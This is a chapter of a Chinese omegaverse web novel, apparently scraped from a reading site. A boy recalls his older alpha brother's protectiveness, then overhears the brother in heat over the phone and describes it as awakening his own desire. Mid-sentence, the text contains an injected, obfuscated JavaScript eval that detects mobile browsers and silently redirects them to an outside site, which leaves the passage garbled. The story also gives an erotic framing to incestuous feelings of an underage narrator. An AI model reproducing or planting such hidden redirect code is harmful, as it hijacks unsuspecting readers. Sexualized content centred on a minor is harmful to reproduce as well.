默认冷灰
24号文字
方正启体

5. 匿情

作者:余几许糖啊本书字数:K更新时间:
    我十岁时,正处于“我就是天,我就是地”的叛逆期,喜欢一个人出去玩。


    我刚从超市出来,没走几步,在我前面的一位男士突然跪倒在地,他痛苦地捂着胸口,紧接着我听到身后的人踉跄了几步。


    我转身看到一位男人,他的眼睛在一瞬间变成金色,随后又回归深色的瞳眸,我想他怎么也没想到好好走个路都能遇到发情期的omega吧。


    这个画面很惊悚——七月份的天又干又燥,往柏油马路上到一桶水不出半小时就能蒸腾,怎么想都不合时宜的天气,却在一家餐馆门口出现两位大人倒地的现象,他们的中间还站着一位握着棒冰的小男孩。


    小男孩在惊慌中又啃了一口冰激凌。


    倒在地上的alpha死死咬住自己的手臂不让他们三个出现意外,而omega蜷缩身子,捂着他的□□,断断续续的喘息夹杂着哀求,他求小男孩帮忙打一针抑制剂。


    我刚要过去帮他找抑制剂,就被人一把抱起,双眼彻底被捂死,我听她大喊这是谁家的小孩赶快拉走。


    她这么一喊,围观的人越来越多,我从她的指缝里看到有人翻找口袋,为躺着的人注射抑制剂。大家汗流浃背,也插着腰窃窃私语,用他们所见编造出一个无聊透顶的故事。


    汽车鸣笛声、细碎流语声、门口空调外机的发电声,从我的双眼被蒙上那一刻起就变得格外清晰,它们灌满我的耳朵,为这无所事事的夏日徒增惹人烦的音频。


    故事讲到最后也没有人来认领我,我握着已经化光的棒冰光棍跟那位阿姨说我没什么事,阿姨说什么也不信,觉得我心理肯定受到了冲击,随后把我送到派出所进行心理辅导。


    派出所里的警察叔叔与我交谈过后,大约是发现我的心态确实好,甚至比他们都要不卑不亢,他们就又给了我一袋葡萄味的果冻,让我坐椅子上等家长来接。


    我想这些果冻一定是这些叔叔们翻箱倒柜找出来的,我拿到手的时候,上面有被急匆匆撕开的口子。


    我吃完了果冻,也等来了我哥和我妈。


    他们是骑自行车来的,我哥在前面蹬,我妈坐在后面。他们俩到门口就急匆匆停下,也不管脚踏有没有撑好就冲了进来。


    我看着自行车在他们进入玻璃门后就可怜地倒地,而我哥着急地环顾四周,发现我后就跑过来紧紧抱住我。


    他那个时候还穿着校服。我到现在都非常嫌弃他们高中的校服,真的很丑,黑一块白一块的,我怀疑设计师画草稿的时候在梦游。但我哥生的好看,就算是这种像20块钱批发价的校服,在他身上也像是世上最新潮的玩意儿。


    “小景你没事吧,有没有受伤?有没有被咬?让我看看有没有事。”他喋喋不休地问我,反复检查我的手臂、胳膊、脑袋,发现我只有被蚊子叮咬的伤口后,双腿像是软下来了,一屁股坐在地上。


    啊!多脏啊!派出所的地板不知道被多少人踩过,我赶紧拉着他的手让他起来。


    “你怎么还坐在地上了?!”我叫道。


    我那时候还没有到变声期,声音还很稚嫩,就像个小姑娘似的。


    他听话地站起来,拉着我走。他那个时候就很高,就像是来到麦穗地的甘蔗,我的身高做麦穗都不行,顶多是冬笋。


    我哥带着我去跟警察道谢,我妈在门口等我们。


    回家的路上,我妈牵着我的手跟我聊后天去游乐园的事,我知道他们在刻意绕过今天发生的事。我哥在后面推着自行车,他沉默不语,我三步一个回头,最后忍不住了,朝他伸手。


    他面露惊讶,与我妈对视一眼,最终加快脚步走到我旁边。


    回到家,我妈将这件事在电话里转述给我爸,我爸也问我有没有事,我说棒冰没了我很伤心。


    最后我妈还是放心不下,让我哥陪我睡觉。


    我哥在床上又检查了一遍我的胳膊和腿,确认没什么问题后紧皱的眉头才松下来,我侧躺下,望着他皎皎如月的双眼,我问他:“你们为什么那么紧张我啊?明明是那两个哥哥受伤啊。”


    他耐心地回答我:“因为进入发情期的人,会分辨不了眼前的是谁,他们很有可能会袭击你,咬伤你。”


    “你也是?”我问。我们家就只有他和我爸是alpha,我爸已经被医学标记了,纵使来了发情期也是头痛一阵就好了。


    我哥前两年刚分化完毕,适应好信息素后发情期也渐渐要来了。


    “嗯,所以当我出现这种症状的时候,你千万不要靠近我。”十八岁的我哥,声音特别好听。年轻又温柔,我像是偷喝了一碗米酒,有些醉醉的。我渐渐闭上眼睛。


    “痛苦吗?”我问他。


    “痛苦。”他拍着我的后背说。


    那好。我笃定道:“那我是不会走的。”


    “小景!”


    我看不见他的样子,但我知道他的语气满载盛怒,在为我的叛逆而头痛。


    “我知道,你说的我都知道。但你要是跟那个大哥哥一样怎么办?”我记得那个人的眼睛,痛苦绝望,声声哀求我帮助他,我一想到我哥也会变成这样……我睁开了双眼,“哥哥,我是beta,我不会受到信息素的影响,我可以帮你。”


    “你能帮我什么?你连掰手腕都赢不了我,我到时候让你受伤了怎么办?”我哥声声质问,他也许觉得自己过于激动吓到我了,声音又放轻了一点,“你放心吧,我不会有事的,你不用担心我。”


    我不理解,我身为beta,信息素对我不起作用,我怎么就不能照顾他了?


    不过我哥藏得真的很好,几年来没有让我碰到一次他发情


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630536|172532||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    期。他的发情期很规律,但我不清楚是哪个时间段。


    每当我以为他要开始时,他就已经结束了,神采奕奕地出现在我面前,拎着一大包零食贿赂我。


    终于,在我上初生高的暑假,我抓住了风声。


    那段时间我爸妈去乡下看望我奶奶,而我哥同一时间去了剧组,他在走之前嘱咐我有事给他打电话,我呵呵两声,说别再把我当小孩了。


    结果立马打脸。


    两天前刚跟大强看完一本恐怖片的我总感觉家里散发着诡谲的气息,写完作业后我都不敢关灯,我甚至珍惜洗脸时睁眼的每一秒,每次闭眼时我都感觉自己命不久矣。


    我想大强都要笑话我了,明明在学科学,却依旧相信鬼神之说。我不像大强看完后还能独自走楼梯,我们社区声控灯时好时坏,明明没有人,它会亮一个晚上。真的很恐怖。


    晚上十一点,我却还在昏昏欲睡与不敢睡觉之间徘徊。


    我死死盯着天花板看,想着要么我活活熬死鬼,要么我被鬼熬死。想来想去还是我吃亏,于是我忐忑地拿出手机。


    强光一下子照在我脸上,我一瞬间理解白血病患者的感觉了。


    我眯着眼拨打我哥的电话,我耐心地等着,哪怕不接通,我听着来电铃声也好过一切。


    没想到电话真的接通了,我一时间有点慌乱,手机差点掉到我的鼻子上,还好眼疾手快地接住了。


    我清清嗓子说:“哥,我其实——”


    “小景……嗯……”


    那边发出的声音让我暂时忘记如何说话,我只觉得我全身都震了一下。


    他的声音沙哑了不少,像颗粒分明的细砂捣进我耳朵里,我的身子在与他的喘息发出共鸣。


    “嗯……哈……哈……啊……”他拿远了手机,他以为我听不见,但其实声声入耳。


    我感觉有什么被撕碎了,发出急促又短暂的“呯呯”声,我想应该是鬼在打墙。


    “哥你怎么了?”我没意识到我燥的发慌,已经将整个人裹进被子里,只留下半个脑袋在外面。


    电话那头明显在扼制自己喘息的欲望,停顿了很久才强装镇定地回答我:“嗯……我没……嗯……我现在不方便,小景你,你过几个小时候再打过来好吗?哈……嗯……”


    我哥果断地挂掉了电话,留下抓人心跳的静,但我的心被拧成一圈又一圈,彻底清醒了。


    我哥还是心太软。


    他太在乎我了,即使被无可控的信息素痛苦地包围,他还是会选择接我的电话——只因为现在是凌晨,而我一个人在家。


    要我回忆,那是一个爱欲夹杂的夜晚,我哥在我那离经叛道的世界观里增添了浓墨重彩一笔。


    他亲手种下了我的情欲,而我清楚地知道,他不会等我开花结果。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)